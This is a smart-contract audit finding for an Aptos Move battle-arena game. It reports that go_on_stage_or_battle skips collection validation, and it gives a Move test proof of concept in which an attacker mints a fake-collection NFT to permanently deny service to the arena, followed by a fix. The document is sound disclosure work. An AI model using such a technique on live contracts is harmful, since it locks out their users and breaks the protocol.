Description
An attacker can permanently brick the battle arena by using an NFT from a collection other than "Rappers". The go_on_stage_or_battle
function accepts any Object<Token>
without validating it belongs to the correct collection. When a battle is initiated, the skill_of
function attempts to access stats that don't exist for non-Rapper tokens, causing the transaction to abort. This makes the arena permanently unusable.
Root Cause
The vulnerability exists due to missing collection validation in rap_battle::go_on_stage_or_battle()
:
public entry fun go_on_stage_or_battle(
player: &signer,
rapper_token: Object<Token>,
bet_amount: u64
) acquires BattleArena {
if (arena.defender == @0x0) {
let token_id = object::object_address(&rapper_token);
arena.defender_token_id = token_id;
} else {
let defender_skill = one_shot::skill_of(arena.defender_token_id);
let challenger_skill = one_shot::skill_of(chall_token_id);
}
}
The skill_of
function in one_shot.move
assumes the token has a stats entry:
public(friend) fun skill_of(token_id: address): u64 acquires RapperStats {
let stats_res = borrow_global<RapperStats>(@battle_addr);
let s = table::borrow(&stats_res.stats, token_id);
}
Critical flaws:
No collection validation: Function accepts tokens from any collection
Missing stats existence check: skill_of
assumes stats entry exists
Permanent DoS: Once a non-Rapper token is set as defender, all future battles abort
Risk
Likelihood: High - Any attacker can easily create/obtain an NFT from another collection
Impact: High - Complete denial of service of the battle functionality
Impact
High severity because:
-
Protocol breaking: Core battle functionality becomes permanently unusable
-
No mitigation: Once poisoned, the arena cannot be recovered without contract upgrade
-
Affects all users: No one can participate in battles anymore
-
Trivial to exploit: Attacker only needs any non-Rapper NFT
Proof of Concept
The test requires adding #[test_only]
helper functions to the respective modules:
#[test_only]
public fun init_module_test(sender: &signer) {
let (burn_cap, freeze_cap, mint_cap) = coin::initialize<CRED>(
sender,
string::utf8(b"Credibility"),
string::utf8(b"CRED"),
8,
false,
);
move_to(sender, CredCapabilities { mint_cap, burn_cap });
coin::destroy_freeze_cap(freeze_cap);
}
#[test_only]
public fun init_module_test(sender: &signer) {
move_to(sender, BattleArena {
defender: @0x0,
defender_bet: 0,
defender_token_id: @0x0,
prize_pool: coin::zero<cred_token::CRED>(),
});
}
friend battle_addr::one_shot_tests;
Test demonstrating the DoS attack:
#[test_only]
module battle_addr::one_shot_tests {
use std::signer;
use std::vector;
use std::option;
use std::debug::print;
use std::string::utf8;
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::coin;
use aptos_framework::event;
use aptos_framework::object::{Self as object, Object};
use aptos_token_v2::token as token_module;
use aptos_token_v2::token::Token;
use aptos_token_v2::collection;
use battle_addr::one_shot::{Self as one_shot, MintRapperEvent};
use battle_addr::rap_battle::{Self as rap_battle};
use battle_addr::cred_token::{Self as cred_token};
#[test]
#[expected_failure]
public fun test_dos_battle_arena_with_non_rapper_token() {
let now = 1_758_100_000_000;
let aptos_framework = account::create_account_for_test(@0x1);
timestamp::set_time_has_started_for_testing(&aptos_framework);
timestamp::update_global_time_for_test(now);
coin::create_coin_conversion_map(&aptos_framework);
let module_owner = account::create_account_for_test(@battle_addr);
let attacker = account::create_account_for_test(@attacker_addr);
let innocent_player = account::create_account_for_test(@0x999);
cred_token::init_module_test(&module_owner);
rap_battle::init_module_test(&module_owner);
one_shot::mint_rapper(&module_owner, signer::address_of(&innocent_player));
let mint_events = event::emitted_events<MintRapperEvent>();
let first_event = vector::borrow(&mint_events, 0);
let legit_token_id = one_shot::get_mint_event_token_id(first_event);
let legit_rapper_token = object::address_to_object<Token>(legit_token_id);
let _ = collection::create_unlimited_collection(
&attacker,
utf8(b"Fake NFT Collection"),
utf8(b"FakeCollection"),
option::none(),
utf8(b"https://fake.com")
);
let fake_token_ref = token_module::create(
&attacker,
utf8(b"FakeCollection"),
utf8(b"FakeToken Description"),
utf8(b"FakeToken"),
option::none(),
utf8(b"https://fake.com/token")
);
let fake_token_object = object::object_from_constructor_ref<Token>(&fake_token_ref);
let fake_token_addr = object::address_from_constructor_ref(&fake_token_ref);
print(&utf8(b"=== ATTACK STEP 1: Attacker puts non-Rapper NFT on stage ==="));
print(&utf8(b"Fake token address:"));
print(&fake_token_addr);
rap_battle::go_on_stage_or_battle(&attacker, fake_token_object, 0);
print(&utf8(b"=== ATTACK STEP 2: Arena is now poisoned with non-Rapper NFT ==="));
print(&utf8(b"=== ATTACK STEP 3: Innocent player tries to battle ==="));
rap_battle::go_on_stage_or_battle(&innocent_player, legit_rapper_token, 0);
}
}
Recommended Mitigation
FIXED: Collection validation has been implemented to ensure only Rapper NFTs can be used:
use aptos_token_v2::token::{Self as token_v2, Token};
public entry fun go_on_stage_or_battle(
player: &signer,
rapper_token: Object<Token>,
bet_amount: u64
) acquires BattleArena {
let player_addr = signer::address_of(player);
let arena = borrow_global_mut<BattleArena>(@battle_addr);
let token_collection = token_v2::collection_name(rapper_token);
assert!(
token_collection == string::utf8(b"Rappers"),
E_INVALID_COLLECTION
);
}
Attempts to use non-Rapper NFTs will fail with error code E_INVALID_COLLECTION during the collection validation check, preventing the DoS attack.